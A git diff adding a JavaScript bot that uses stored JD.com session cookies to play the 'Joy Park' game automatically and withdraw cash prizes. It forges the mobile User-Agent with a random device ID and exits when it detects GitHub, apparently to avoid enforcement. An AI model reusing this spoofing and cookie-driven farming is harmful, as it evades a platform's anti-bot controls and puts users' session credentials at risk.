(t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_joy_park_Mod.js b/jd_joy_park_Mod.js new file mode 100644 index 0000000..b54ddd6 --- /dev/null +++ b/jd_joy_park_Mod.js @@ -0,0 +1,597 @@ +// @grant nodejs +/* +ENV + +JOY_COIN_MAXIMIZE = 最大化硬币收益,如果合成后全部挖土后还有空位,则开启此模式(默认开启) 0关闭 1开启 + +请确保新用户助力过开工位,否则开启游戏了就不算新用户,后面就不能助力开工位了!!!!!!!!!! + +如需关闭请添加变量,变量名:HELP_JOYPARK,变量值:false + +更新地址:https://github.com/Tsukasa007/my_script + +============Quantumultx=============== +[task_local] +#汪汪乐园养joy +20 0-23/3 * * * jd_joypark_joy.js, tag=汪汪乐园养joy, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_joy.png, enabled=true + +================Loon============== +[Script] +cron "20 0-23/3 * * *" script-path=jd_joypark_joy.js,tag=汪汪乐园养joy + +===============Surge================= +汪汪乐园养joy = type=cron,cronexp="20 0-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_joypark_joy.js + +============小火箭========= +汪汪乐园养joy = type=cron,script-path=jd_joypark_joy.js, cronexpr="20 0-23/3 * * *", timeout=3600, enable=true +*/ +const $ = new Env('汪汪乐园养joy'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +let hotFlag = false; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +//最大化硬币收益模式 +$.JOY_COIN_MAXIMIZE = process.env.JOY_COIN_MAXIMIZE === '1' +$.log(`最大化收益模式: 已${$.JOY_COIN_MAXIMIZE ? `默认开启` : `关闭`} `) + +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (process.env.JD_JOY_PARK && process.env.JD_JOY_PARK === 'false') { + console.log(`\n******检测到您设置了不运行汪汪乐园,停止运行此脚本******\n`) + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + //$.wait(50) + // if (process.env.JOYPARK_JOY_START && i == process.env.JOYPARK_JOY_START){ + // console.log(`\n汪汪乐园养joy 只运行 ${process.env.JOYPARK_JOY_START} 个Cookie\n`); + // break + // } + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.maxJoyCount = 10; + $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + + } + //下地后还有有钱买Joy并且买了Joy + $.hasJoyCoin = true + await getJoyBaseInfo(undefined, undefined, undefined, true); + $.activityJoyList = [] + $.workJoyInfoList = [] + await getJoyList(true); + await getGameShopList() + //清理工位 + await doJoyMoveDownAll($.workJoyInfoList) + //从低合到高 + try{ + await doJoyMergeAll($.activityJoyList) + await getGameMyPrize() + } catch (e) { + $.logErr(e) + } + await $.wait(1500) + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +async function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '', printLog = false) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyBaseInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getJoyBaseInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (printLog) { + $.log(`等级: ${data.data.level}|金币: ${data.data.joyCoin}`); + if (data.data.level >= 30 && $.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName || $.UserName}\n当前等级: ${data.data.level}\n已达到单次最高等级奖励\n请前往京东极速版APP查看使用优惠券\n活动入口:京东极速版APP->我的->汪汪乐园`); + //$.log(`\n开始解锁新场景...\n`); + //await doJoyRestart() + } + } + $.joyBaseInfo = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve($.joyBaseInfo); + } + }) + }) +} + +function getJoyList(printLog = false) { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`, `joyList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (printLog) { + $.log(`\n===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 start =====`) + $.log("在逛街的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") + + for (let i = 0; i < data.data.activityJoyList.length; i++) { + //$.wait(50); + $.log(`id:${data.data.activityJoyList[i].id}|name: ${data.data.activityJoyList[i].name}|level: ${data.data.activityJoyList[i].level}`); + if (data.data.activityJoyList[i].level >= 30 && $.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName || $.UserName}\n当前等级: ${data.data.level}\n已达到单次最高等级奖励\n请尽快前往活动查看领取\n活动入口:京东极速版APP->汪汪乐园\n`); + //$.log(`\n开始解锁新场景...\n`); + //await doJoyRestart() + } + } + $.log("\n在铲土的joy⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️") + for (let i = 0; i < data.data.workJoyInfoList.length; i++) { + //$.wait(50) + $.log(`工位: ${data.data.workJoyInfoList[i].location} [${data.data.workJoyInfoList[i].unlock ? `已开` : `未开`}]|joy= ${data.data.workJoyInfoList[i].joyDTO ? `id:${data.data.workJoyInfoList[i].joyDTO.id}|name: ${data.data.workJoyInfoList[i].joyDTO.name}|level: ${data.data.workJoyInfoList[i].joyDTO.level}` : `毛都没有`}`) + } + $.log(`===== 【京东账号${$.index}】${$.nickName || $.UserName} joy 状态 end =====\n`) + } + $.activityJoyList = data.data.activityJoyList + $.workJoyInfoList = data.data.workJoyInfoList + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getGameShopList() { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`appid=activities_platform&body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}`, `gameShopList`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + //排除不能购买的 + data = JSON.parse(data).data.filter(row => row.shopStatus === 1); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doJoyMoveUpAll(activityJoyList, workJoyInfoList) { + let workJoyInfoUnlockList = workJoyInfoList.filter(row => row.unlock && row.joyDTO === null) + if (activityJoyList.length !== 0 && workJoyInfoUnlockList.length !== 0) { + let maxLevelJoy = Math.max.apply(Math, activityJoyList.map(o => o.level)) + let maxLevelJoyList = activityJoyList.filter(row => row.level === maxLevelJoy) + $.log(`下地干活! joyId= ${maxLevelJoyList[0].id} location= ${workJoyInfoUnlockList[0].location}`) + await doJoyMove(maxLevelJoyList[0].id, workJoyInfoUnlockList[0].location) + await getJoyList() + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + else if ($.JOY_COIN_MAXIMIZE) { + await joyCoinMaximize(workJoyInfoUnlockList) + } + +} + +async function joyCoinMaximize(workJoyInfoUnlockList) { + if (workJoyInfoUnlockList.length !== 0 && $.hasJoyCoin) { + $.log(`竟然还有工位挖土?开启瞎买瞎下地模式!`); + let joyBaseInfo = await getJoyBaseInfo() + let joyCoin = joyBaseInfo.joyCoin + $.log(`还有${joyCoin}金币,看看还能买啥下地`) + let shopList = await getGameShopList() + let newBuyCount = false; + for (let i = shopList.length - 1; i >= 0 && i - 3 >= 0; i--) { //向下买3级 + if (joyCoin > shopList[i].consume) { + $.log(`买一只 ${shopList[i].userLevel}级的!`); + joyCoin = joyCoin - shopList[i].consume; + let buyResp = await doJoyBuy(shopList[i].userLevel); + if (!buyResp.success) { + break; + } else { + newBuyCount = true + $.hasJoyCoin = false + i++ + } + } + } + $.hasJoyCoin = false + if (newBuyCount) { + await getJoyList() + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + await getJoyBaseInfo(); + } + } +} + +async function doJoyMoveDownAll(workJoyInfoList) { + if (workJoyInfoList.filter(row => row.joyDTO).length === 0) { + $.log(`工位清理完成!`) + return true + } + for (let i = 0; i < workJoyInfoList.length; i++) { + //$.wait(50) + if (workJoyInfoList[i].unlock && workJoyInfoList[i].joyDTO) { + $.log(`从工位移除 => id:${workJoyInfoList[i].joyDTO.id}|name: ${workJoyInfoList[i].joyDTO.name}|level: ${workJoyInfoList[i].joyDTO.level}`) + await doJoyMove(workJoyInfoList[i].joyDTO.id, 0) + } + } + //check + await getJoyList() + await doJoyMoveDownAll($.workJoyInfoList) +} + +async function doJoyMergeAll(activityJoyList) { + let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) + let joyMinLevelArr = activityJoyList.filter(row => row.level === minLevel); + let joyBaseInfo = await getJoyBaseInfo(); + await $.wait(2000) + if(!joyBaseInfo.fastBuyLevel){ + await $.wait(5000) + joyBaseInfo = await getJoyBaseInfo(); + } + if(!joyBaseInfo.fastBuyLevel){ + $.log(`出错,下地后跳出......`) + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList); + return false; + } + + let fastBuyLevel = joyBaseInfo.fastBuyLevel + if (joyMinLevelArr.length >= 2) { + $.log(`开始合成 ${minLevel} ${joyMinLevelArr[0].id} <=> ${joyMinLevelArr[1].id} 【限流严重,5秒后合成!如失败会重试】`); + await $.wait(5000) + await doJoyMerge(joyMinLevelArr[0].id, joyMinLevelArr[1].id); + if (hotFlag) { + joyBaseInfo = await getJoyBaseInfo(); + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList); + return false; + } + await getJoyList() + await doJoyMergeAll($.activityJoyList) + } else if (joyMinLevelArr.length === 1 && joyMinLevelArr[0].level < fastBuyLevel) { + let buyResp = await doJoyBuy(joyMinLevelArr[0].level, $.activityJoyList); + if (buyResp.success) { + await getJoyList(); + await doJoyMergeAll($.activityJoyList); + } else { + $.log("完成!") + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + } else { + $.log(`没有需要合成的joy 开始买买买🛒🛒🛒🛒🛒🛒🛒🛒`) + $.log(`现在最高可以购买: ${fastBuyLevel} 购买 ${fastBuyLevel} 的joy 你还有${joyBaseInfo.joyCoin}金币`) + let buyResp = await doJoyBuy(fastBuyLevel, $.activityJoyList); + if (buyResp.success) { + await getJoyList(); + await doJoyMergeAll($.activityJoyList); + } else { + $.log("完成!") + await doJoyMoveUpAll($.activityJoyList, $.workJoyInfoList) + } + } +} + +function doJoyMove(joyId, location) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskGetClientActionUrl(`body={"joyId":${joyId},"location":${location},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyMove`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (location !== 0) { + $.log(`下地完成了!`); + } + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function doJoyMerge(joyId1, joyId2) { + //await $.wait(20) + return new Promise(resolve => { + $.get(taskGetClientActionUrl(`body={"joyOneId":${joyId1},"joyTwoId":${joyId2},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyMergeGet`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + data = {} + hotFlag = true; + } else { + data = JSON.parse(data); + $.log(`合成 ${joyId1} <=> ${joyId2} ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + if (data.code == '1006') { + hotFlag = true + } + } + } catch (e) { + $.logErr(e, resp) + hotFlag = true; + } finally { + resolve(data.data); + } + }) + }) +} + +async function doJoyBuy(level, activityJoyList) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"level":${level},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyBuy`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let codeMsg = '【不知道啥意思】' + switch (data.code) { + case 519: + codeMsg = '【没钱了】'; + break + case 518: + codeMsg = '【没空位】'; + if (activityJoyList) {//正常买模式 + $.log(`因为购买 ${level}级🐶 没空位 所以我要删掉比低级的狗了`); + let minLevel = Math.min.apply(Math, activityJoyList.map(o => o.level)) + await doJoyRecovery(activityJoyList.filter(row => row.level === minLevel)[0].id); + } + break + case 0: + codeMsg = '【OK】'; + break + } + + $.log(`购买joy level: ${level} ${data.success ? `成功!` : `失败!${data.errMsg} code=${data.code}`} code的意思是=${codeMsg}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doJoyRecovery(joyId) { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"joyId":${joyId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyRecovery`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + data = {} + } else { + data = JSON.parse(data); + $.log(`回收🐶 ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function doJoyRestart() { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `joyRestart`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.log(`新场景解锁 ${data.success ? `成功!` : `失败!【${data.errMsg}】 code=${data.code}`}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getGameMyPrize() { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `gameMyPrize`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success && data.data) { + $.Vos = data.data.gamePrizeItemVos + for (let i = 0; i < $.Vos.length; i++) { + if ($.Vos[i].prizeType == 4 && $.Vos[i].status == 1 && $.Vos[i].prizeTypeVO.prizeUsed == 0) { + $.log(`\n当前账号有【${$.Vos[i].prizeName}】可提现`) + $.id = $.Vos[i].prizeTypeVO.id + $.poolBaseId = $.Vos[i].prizeTypeVO.poolBaseId + $.prizeGroupId = $.Vos[i].prizeTypeVO.prizeGroupId + $.prizeBaseId = $.Vos[i].prizeTypeVO.prizeBaseId + await apCashWithDraw($.id, $.poolBaseId, $.prizeGroupId, $.prizeBaseId) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"businessSource":"JOY_PARK","base":{"id":${id},"business":"joyPark","poolBaseId":${poolBaseId},"prizeGroupId":${prizeGroupId},"prizeBaseId":${prizeBaseId},"prizeType":4},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&_t=${+new Date()}&appid=activities_platform`, `apCashWithDraw`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success && data.data) { + console.log(`提现结果:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId ? `functionId=${functionId}` : ``}`, + body: body, + headers: { + 'User-Agent': $.UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function taskGetClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}${body ? `&${body}` : ``}`, + // body: body, + headers: { + 'User-Agent': $.UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.388006&lat=22.512549&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.UA + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? 